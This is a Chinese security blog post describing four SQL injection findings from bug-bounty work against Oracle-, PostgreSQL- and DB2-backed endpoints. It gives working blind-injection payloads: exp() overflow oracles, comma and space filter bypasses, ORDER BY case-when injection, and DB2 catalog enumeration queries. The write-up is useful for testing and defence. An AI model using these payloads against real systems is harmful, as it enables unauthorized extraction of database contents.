SRC中的几个sql注入挖掘过程

admin 2024年11月10日16:05:05评论7 views字数 3283阅读10分56秒阅读模式

sql注入1

一个查询的数据包,statusCode参数,单引号报错
SRC中的几个sql注入挖掘过程

再加个单引号正常

SRC中的几个sql注入挖掘过程
最终经过测试,下面返回正常,代表执行e的709次方, || 为连接符
SRC中的几个sql注入挖掘过程
710次方太大就会报错,这里感觉是orcale数据库
SRC中的几个sql注入挖掘过程

开始测试各种函数,结果都为1,正常应该返回数据

SRC中的几个sql注入挖掘过程
这里decode很明显是被过滤了
SRC中的几个sql注入挖掘过程
case when也是异常
SRC中的几个sql注入挖掘过程

换个写法就可以了,回显了数据,说明=出现了问题,但又不是被过滤了,很有可能它有个规则是在一些符号传进去之后会在后面加了一些字符导致语句异常

SRC中的几个sql注入挖掘过程

将结果换成exp(710)验证一下,逻辑没问题

SRC中的几个sql注入挖掘过程

直接最简单的注user语句,正常逻辑应该回显数据,但是返回异常,那就得一步一步测哪里的问题

SRC中的几个sql注入挖掘过程

先试下length函数,没什么问题,说明user是没被过滤的

SRC中的几个sql注入挖掘过程

把后面结果换成exp(710),长度肯定不止一位,所以执行了后面的函数,就会报错

SRC中的几个sql注入挖掘过程
直接跑出来user为8位
SRC中的几个sql注入挖掘过程
再来测试下ascii函数,这里发现没问题
SRC中的几个sql注入挖掘过程
再来绕过下逗号,还是异常,那就只能试别的函数了
substring(user from 1 for 1)代表从第一位开始,截取长度为1

SRC中的几个sql注入挖掘过程

结果都不能用,之前一直以为是orcale数据库,现在怀疑它是PostgreSQL数据库,PostgreSQL有个函数很少会禁: position函数,mysql中也有此函数,这个函数不需要逗号,测试发现没问题
这个函数有两个参数,返回的是第一个参数第一次出现在后面的位置position('sql' in 'postgresql')返回的是8position('sq' in 'postgresql')返回的也是8position('p' in 'postgresql')返回的则是1

SRC中的几个sql注入挖掘过程

这里返回的就是数字,也不用ascii函数了,最终payload为
'||case position('a' in user) when 1 then 1 else exp(720) end||'

user第一位不是a,所以执行else后面的,返回异常

SRC中的几个sql注入挖掘过程

直接跑第一位,说明c是user第一位,返回1才返回数据

SRC中的几个sql注入挖掘过程
第二位为m,剩下同理
SRC中的几个sql注入挖掘过程

sql注入2

排序功能点

SRC中的几个sql注入挖掘过程

原有数据包

SRC中的几个sql注入挖掘过程
还是用case when函数,条件1=1正常
SRC中的几个sql注入挖掘过程
条件1=2异常
SRC中的几个sql注入挖掘过程

判断user长度

case when length(user)=11 then 1 else exp(800) end

直接遍历数字

SRC中的几个sql注入挖掘过程
user长度为7位
SRC中的几个sql注入挖掘过程

遍历user第一位的ascii码

case when ascii(substr(user,1,1))=11 then 1 else exp(900)

第一位ascii码为87也就是W

SRC中的几个sql注入挖掘过程

同理遍历第二位

case when ascii(substr(user,2,1))=11 then 1 else exp(900)

第二位ascii码为70也就是F

SRC中的几个sql注入挖掘过程

sql注入3

原本数据包,很明显的order by注入
SRC中的几个sql注入挖掘过程

这里直接插入一个比较大的数字,ordey by 100,没有这么多列就会报错

SRC中的几个sql注入挖掘过程

这里试下参数污染,发现是用逗号连接,后续会用到

SRC中的几个sql注入挖掘过程

因为是有报错回显,这里直接插入updatexml()试下
SRC中的几个sql注入挖掘过程
结果就是主机无响应,其他函数都试了,都是无响应
SRC中的几个sql注入挖掘过程
还是换盲注,首先就是确定哪些判断函数可以用

SRC中的几个sql注入挖掘过程

这里测试发现很多都过滤了,最终构造如下payload

(case 1 when 1 then 1 else 1 end) asc

使用%0a来代替空格,返回数据证明语句没问题

SRC中的几个sql注入挖掘过程
现在就是要控制结果,返回为不同的页面

这里说明一下,当then exp(900) else 1 后面为数字就不会执行exp(900)这个函数

SRC中的几个sql注入挖掘过程

这里换成CREATE_TIME不管条件是否相等都返回数据类型不一致

SRC中的几个sql注入挖掘过程

再从返回包找个别的字段
SRC中的几个sql注入挖掘过程
(case 1 when 1 then exp(900) else PROVINCE_ID end) asc
成功执行了exp(900),返回了数字溢出

SRC中的几个sql注入挖掘过程

所以当1=2时,就返回按照PROVINCE_ID排序的结果,只要返回数据就行
SRC中的几个sql注入挖掘过程

下面就可以截取user了,先用len判断下长度,不过这里经过测试都不能用

SRC中的几个sql注入挖掘过程
最终经过测试,只有这个截取函数会返回数据类型不一致,说明when后面的应为字符串
(case SUBSTRB(USER,1,1) when 1 then exp(900) else PROVINCE_ID end) asc

百度说substrb和substring一个是按照字节截取,一个是按照字符截取,那么用substrb就应该是两个字节或者4个字节才代表一个字符,这里不知道为啥跑不出来,截取1个字节能跑出来

使用参数污染来绕个逗号,结果提示数据类型应该是字符串
SRC中的几个sql注入挖掘过程
这里换成 'a' 也不行

SRC中的几个sql注入挖掘过程

于是用CHR(50)代替一下,就是将ascii码为50转成字符串,原始paylaod为
(case SUBSTR(USER,1,1) when CHR(50) then exp(900) else PROVINCE_ID end) asc

截取的第一位字符肯定不等于CHR(50),返回按照PROVINCE_ID排序的数据,逻辑没问题

SRC中的几个sql注入挖掘过程

直接跑第一位,遍历CHR里面的数字,403是因为我代理池ip被ban了,不过好在跑出来了,第一位ascii码为88,也就是X

SRC中的几个sql注入挖掘过程

同理跑第二位为95,也就是 _ ,后续同理

SRC中的几个sql注入挖掘过程

SQL注入4

条件1=1正常

SRC中的几个sql注入挖掘过程

1=2报错,因为分母不能为0

SRC中的几个sql注入挖掘过程

基本无过滤,直接正常注出来user

SRC中的几个sql注入挖掘过程

然后数据库为DB2,直接注表,相关语句如下

原始语句,这里/**/代替的是空格,根据实际情况变化即可注用户表数量'/**/and/**/((select/**/count(NAME)/**/from/**/SYSIBM.SYSTABLES/**/where/**/CREATOR=USER)>10)/**/or/**/'6'='7注入第一个表名长度'/**/and/**/(select/**/(LENGTH(NAME))/**/from/**/SYSIBM.SYSTABLES/**/where/**/name/**/not/**/in/**/('COLUMNS')/**/fetch/**/first/**/1/**/row/**/only)=7/**/or/**/'6'='7注入第一个表名    '/**/and/**/ascii((select/**/(substr(NAME,1,1))/**/from/**/SYSIBM.SYSTABLES/**/where/**/name/**/not/**/in/**/('COLUMNS')/**/fetch/**/first/**/1/**/row/**/only))=84/**/or/**/'6'='7注指定表内列名数量'/**/and/**/(select/**/count(COLNAME)/**/from/**/SYSCAT.columns/**/where/**/TABNAME='TS_AUTH(表名)')>2/**/or/**/'6'='7注入指定表内第一列名长度'/**/and/**/(select/**/(LENGTH(COLNAME)) from SYSCAT.columns/**/where/**/TABNAME='TS_AUTH(表名)'/**/and/**/colno=0)=7/**/or/**/'6'='7注入指定表内第一个列名'/**/and/**/ascii((select/**/(substr(COLNAME,1,1))/**/from/**/SYSCAT.columns where TABNAME='TS_AUTH(表名)'/**/and/**/colno=0))=84/**/or/**/'6'='7

注第一张表名的长度

SRC中的几个sql注入挖掘过程

长度为12位

SRC中的几个sql注入挖掘过程

直接截取第一位也就是

ASCII((select(substr(NAME,1,1)) from SYSIBM.SYSTABLES where name not in ('COLUMNS') fetch first 1 row only))=84SYSIBM.SYSTABLES为DB2中的默认表,这条语句返回的就是第一张表名的第一个字符的ascii码
SRC中的几个sql注入挖掘过程

直接遍历即可,剩下同理

SRC中的几个sql注入挖掘过程

原文始发于微信公众号(起凡安全):SRC中的几个sql注入挖掘过程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月10日16:05:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SRC中的几个sql注入挖掘过程https://cn-sec.com/archives/3378253.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息